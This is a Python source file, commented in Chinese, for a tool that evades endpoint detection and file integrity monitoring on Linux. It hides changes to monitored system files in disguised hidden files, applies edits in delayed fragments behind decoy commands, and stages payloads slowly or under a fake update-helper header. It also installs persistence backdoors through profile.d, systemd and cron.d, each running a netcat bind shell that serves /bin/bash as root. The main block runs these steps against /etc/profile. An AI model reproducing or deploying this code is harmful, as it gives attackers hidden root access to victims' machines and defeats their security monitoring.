#!/usr/bin/env python
# -*- coding: utf-8 -*-
"""

from __future__ import print_function
from __future__ import unicode_literals
from __future__ import division
from __future__ import absolute_import

EDR/FIM 规避机制
实现文件修改伪装、碎片化操作等企业级防御规避技术
"""

import os
import time
import random
import subprocess
import threading
from datetime import datetime
import logging




class EDRFIMEvasion:
    """EDR/FIM规避引擎"""
    
    def __init__(self):
        self.logger = self._setup_logger()
        self.monitored_paths = [
            '/etc/profile',
            '/etc/bash.bashrc', 
            '/etc/ssh/sshd_config',
            '/etc/sudoers',
            '/etc/passwd',
            '/etc/shadow',
            '/etc/hosts',
            '/etc/crontab'
        ]
        self.safe_paths = [
            '/etc/profile.d/',
            '/etc/systemd/system/',
            '/usr/local/bin/',
            '/opt/',
            '/var/lib/'
        ]
        
    def _setup_logger(self):
        """设置日志记录器"""
        logger = logging.getLogger('EDRFIMEvasion')
        logger.setLevel(logging.INFO)
        return logger
        
    def stealth_file_modification(self, target_file, content, method='alternative_path'):
        """
        隐蔽文件修改
        使用多种方法规避FIM监控
        """
        try:
            if method == 'alternative_path':
                return self._use_alternative_path(target_file, content)
            elif method == 'fragmented':
                return self._fragmented_modification(target_file, content)
            elif method == 'legitimate_process':
                return self._legitimate_process_modification(target_file, content)
            else:
                self.logger.error("未知的修改方法: {}".format(method))
                return False
                
        except Exception as e:
            self.logger.error("隐蔽文件修改失败: {}".format(e))
            return False
            
    def _use_alternative_path(self, target_file, content):
        """使用替代路径规避FIM监控"""
        try:
            # 检查是否为监控文件
            if any(monitored in target_file for monitored in self.monitored_paths):
                # 寻找替代路径
                alternative_path = self._find_alternative_path(target_file)
                if alternative_path:
                    self.logger.info("使用替代路径: {}".format(alternative_path))
                    return self._create_alternative_file(alternative_path, content)
                    
            # 直接修改非监控文件
            return self._direct_modification(target_file, content)
            
        except Exception as e:
            self.logger.error("替代路径修改失败: {}".format(e))
            return False
            
    def _find_alternative_path(self, target_file):
        """寻找替代路径"""
        try:
            # 针对不同的目标文件选择合适的替代路径
            if '/etc/profile' in target_file:
                # 使用profile.d目录
                return '/etc/profile.d/.sysinit.sh'
            elif '/etc/bash.bashrc' in target_file:
                return '/etc/profile.d/.bashrc_custom.sh'
            elif 'ssh' in target_file:
                return '/etc/ssh/ssh_config.d/.custom_config'
            elif 'cron' in target_file:
                return '/etc/cron.d/.system_maintenance'
            else:
                # 使用通用的隐藏目录
                return '/usr/local/bin/.system_helper'
                
        except Exception as e:
            self.logger.error("寻找替代路径失败: {}".format(e))
            return None
            
    def _create_alternative_file(self, alt_path, content):
        """在替代路径创建文件"""
        try:
            # 确保目录存在
            alt_dir = os.path.dirname(alt_path)
            if not os.path.exists(alt_dir):
                os.makedirs(alt_dir, mode=0o755)
                
            # 创建隐藏文件
            with open(alt_path, 'w') as f:
                f.write(content)
                
            # 设置合适的权限
            os.chmod(alt_path, 0o644)
            
            # 如果是脚本文件，添加执行权限
            if alt_path.endswith('.sh'):
                os.chmod(alt_path, 0o755)
                
            self.logger.info("已创建替代文件: {}".format(alt_path))
            return True
            
        except Exception as e:
            self.logger.error("创建替代文件失败: {}".format(e))
            return False
            
    def _fragmented_modification(self, target_file, content):
        """碎片化修改文件"""
        try:
            # 将内容分割成多个片段
            lines = content.split('\n')
            fragments = [lines[i:i+1] for i in range(0, len(lines), 1)]
            
            self.logger.info("开始碎片化修改 {}，共 {} 个片段".format(target_file, len(fragments)))
            
            for i, fragment in enumerate(fragments):
                # 随机延迟 5-10 分钟
                delay = random.randint(300, 600)
                self.logger.info("片段 {}/{}，延迟 {} 秒".format(i+1, len(fragments), delay))
                
                if i > 0:  # 第一个片段立即执行
                    time.sleep(delay)
                    
                # 修改文件片段
                with open(target_file, 'a') as f:
                    f.write('\n'.join(fragment) + '\n')
                    
                # 执行正常系统命令混淆
                self._execute_normal_commands()
                
            self.logger.info("碎片化修改完成: {}".format(target_file))
            return True
            
        except Exception as e:
            self.logger.error("碎片化修改失败: {}".format(e))
            return False
            
    def _execute_normal_commands(self):
        """执行正常系统命令进行混淆"""
        try:
            normal_commands = [
                'ps aux | head -10',
                'df -h',
                'free -m',
                'uptime',
                'who',
                'date',
                'uname -a'
            ]
            
            # 随机选择并执行1-3个命令
            selected_commands = random.sample(normal_commands, random.randint(1, 3))
            
            for cmd in selected_commands:
                subprocess.run(cmd, shell=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
                time.sleep(random.randint(1, 3))
                
        except Exception as e:
            self.logger.error("执行混淆命令失败: {}".format(e))
            
    def _legitimate_process_modification(self, target_file, content):
        """通过合法进程修改文件"""
        try:
            # 使用系统工具进行修改
            temp_file = "/tmp/.{}".format(random.randint(1000, 9999))
            
            # 写入临时文件
            with open(temp_file, 'w') as f:
                f.write(content)
                
            # 使用cp命令复制（看起来像正常的系统操作）
            subprocess.run("cp {} {}".format(temp_file, target_file), shell=True)
            
            # 清理临时文件
            os.remove(temp_file)
            
            self.logger.info("通过合法进程修改完成: {}".format(target_file))
            return True
            
        except Exception as e:
            self.logger.error("合法进程修改失败: {}".format(e))
            return False
            
    def _direct_modification(self, target_file, content):
        """直接修改文件"""
        try:
            with open(target_file, 'w') as f:
                f.write(content)
            return True
        except Exception as e:
            self.logger.error("直接修改失败: {}".format(e))
            return False
            
    def create_persistence_backdoor(self, backdoor_type='profile_d'):
        """
        创建持久化后门
        使用系统合法加载路径
        """
        try:
            if backdoor_type == 'profile_d':
                return self._create_profile_d_backdoor()
            elif backdoor_type == 'systemd':
                return self._create_systemd_backdoor()
            elif backdoor_type == 'cron_d':
                return self._create_cron_d_backdoor()
            else:
                self.logger.error("未知的后门类型: {}".format(backdoor_type))
                return False
                
        except Exception as e:
            self.logger.error("创建持久化后门失败: {}".format(e))
            return False
            
    def _create_profile_d_backdoor(self):
        """在profile.d目录创建后门"""
        try:
            backdoor_script = '''#!/bin/bash
# System initialization script
if [ "$UID" = "0" ]; then
    # 管理员权限下的后门逻辑
    nohup bash -c 'while true; do
        nc -l -p 8888 -e /bin/bash 2>/dev/null
        sleep 60
    done' &
fi
'''
            
            script_path = '/etc/profile.d/.sysinit.sh'
            return self._create_alternative_file(script_path, backdoor_script)
            
        except Exception as e:
            self.logger.error("创建profile.d后门失败: {}".format(e))
            return False
            
    def _create_systemd_backdoor(self):
        """创建systemd服务后门"""
        try:
            service_content = '''[Unit]
Description=System Maintenance Service
After=network.target

[Service]
Type=forking
ExecStart=/usr/local/bin/.system_helper
Restart=always
User=root

[Install]
WantedBy=multi-user.target
'''
            
            helper_script = '''#!/bin/bash
while true; do
    nc -l -p 9999 -e /bin/bash 2>/dev/null
    sleep 30
done
'''
            
            # 创建服务文件
            service_path = '/etc/systemd/system/system-maintenance.service'
            with open(service_path, 'w') as f:
                f.write(service_content)
                
            # 创建执行脚本
            script_path = '/usr/local/bin/.system_helper'
            with open(script_path, 'w') as f:
                f.write(helper_script)
            os.chmod(script_path, 0o755)
            
            # 启用服务
            subprocess.run('systemctl daemon-reload', shell=True)
            subprocess.run('systemctl enable system-maintenance.service', shell=True)
            
            self.logger.info("已创建systemd后门服务")
            return True
            
        except Exception as e:
            self.logger.error("创建systemd后门失败: {}".format(e))
            return False
            
    def _create_cron_d_backdoor(self):
        """在cron.d目录创建后门"""
        try:
            cron_content = '''# System maintenance task
*/5 * * * * root /usr/local/bin/.maintenance_task >/dev/null 2>&1
'''
            
            task_script = '''#!/bin/bash
# Check if backdoor is running
if ! pgrep -f "nc.*8888" > /dev/null; then
    nohup nc -l -p 8888 -e /bin/bash &
fi
'''
            
            # 创建cron任务
            cron_path = '/etc/cron.d/.system_maintenance'
            with open(cron_path, 'w') as f:
                f.write(cron_content)
                
            # 创建任务脚本
            script_path = '/usr/local/bin/.maintenance_task'
            with open(script_path, 'w') as f:
                f.write(task_script)
            os.chmod(script_path, 0o755)
            
            self.logger.info("已创建cron.d后门任务")
            return True
            
        except Exception as e:
            self.logger.error("创建cron.d后门失败: {}".format(e))
            return False
            
    def anti_fim_deployment(self, payload_content, deployment_method='multi_stage'):
        """
        反FIM部署
        使用多阶段部署规避文件完整性监控
        """
        try:
            if deployment_method == 'multi_stage':
                return self._multi_stage_deployment(payload_content)
            elif deployment_method == 'time_delayed':
                return self._time_delayed_deployment(payload_content)
            elif deployment_method == 'legitimate_update':
                return self._legitimate_update_deployment(payload_content)
            else:
                self.logger.error("未知的部署方法: {}".format(deployment_method))
                return False
                
        except Exception as e:
            self.logger.error("反FIM部署失败: {}".format(e))
            return False
            
    def _multi_stage_deployment(self, payload_content):
        """多阶段部署"""
        try:
            # 阶段1：创建基础文件
            base_path = '/usr/local/bin/.system_base'
            with open(base_path, 'w') as f:
                f.write('#!/bin/bash\n# System base component\n')
            os.chmod(base_path, 0o755)
            
            # 等待随机时间
            time.sleep(random.randint(60, 180))
            
            # 阶段2：添加核心功能
            with open(base_path, 'a') as f:
                f.write('\n# Core functionality\n')
                f.write(payload_content[:len(payload_content)//2])
                
            time.sleep(random.randint(60, 180))
            
            # 阶段3：完成部署
            with open(base_path, 'a') as f:
                f.write('\n# Final components\n')
                f.write(payload_content[len(payload_content)//2:])
                
            self.logger.info("多阶段部署完成")
            return True
            
        except Exception as e:
            self.logger.error("多阶段部署失败: {}".format(e))
            return False
            
    def _time_delayed_deployment(self, payload_content):
        """时间延迟部署"""
        try:
            def delayed_deploy():
                # 随机延迟1-6小时
                delay = random.randint(3600, 21600)
                self.logger.info("延迟部署，等待 {} 秒".format(delay))
                time.sleep(delay)
                
                # 执行部署
                target_path = '/usr/local/bin/.delayed_component'
                with open(target_path, 'w') as f:
                    f.write(payload_content)
                os.chmod(target_path, 0o755)
                
                self.logger.info("延迟部署完成")
                
            # 在后台线程中执行延迟部署
            thread = threading.Thread(target=delayed_deploy)
            thread.daemon = True
            thread.start()
            
            return True
            
        except Exception as e:
            self.logger.error("时间延迟部署失败: {}".format(e))
            return False
            
    def _legitimate_update_deployment(self, payload_content):
        """伪装成合法更新的部署"""
        try:
            # 创建看起来像系统更新的文件
            update_path = '/usr/local/bin/system-update-helper'
            
            # 添加合法的文件头
            legitimate_header = '''#!/bin/bash
# System Update Helper v1.2.3
# Copyright (c) 2024 System Maintenance Team
# Licensed under GPL v2

# System update functionality
'''
            
            with open(update_path, 'w') as f:
                f.write(legitimate_header)
                f.write('\n# Update components\n')
                f.write(payload_content)
                
            os.chmod(update_path, 0o755)
            
            # 创建相关的配置文件
            config_path = '/etc/system-update.conf'
            with open(config_path, 'w') as f:
                f.write('# System update configuration\n')
                f.write('UPDATE_ENABLED=true\n')
                f.write('UPDATE_INTERVAL=3600\n')
                
            self.logger.info("伪装合法更新部署完成")
            return True
            
        except Exception as e:
            self.logger.error("合法更新部署失败: {}".format(e))
            return False

# 使用示例
if __name__ == "__main__":
    evasion = EDRFIMEvasion()
    
    # 隐蔽文件修改示例
    content = "export MALICIOUS_VAR=value\n"
    evasion.stealth_file_modification("/etc/profile", content, "alternative_path")
    
    # 创建持久化后门示例
    evasion.create_persistence_backdoor("profile_d")
    
    # 反FIM部署示例
    payload = "#!/bin/bash\nnc -l -p 8888 -e /bin/bash\n"
    evasion.anti_fim_deployment(payload, "multi_stage")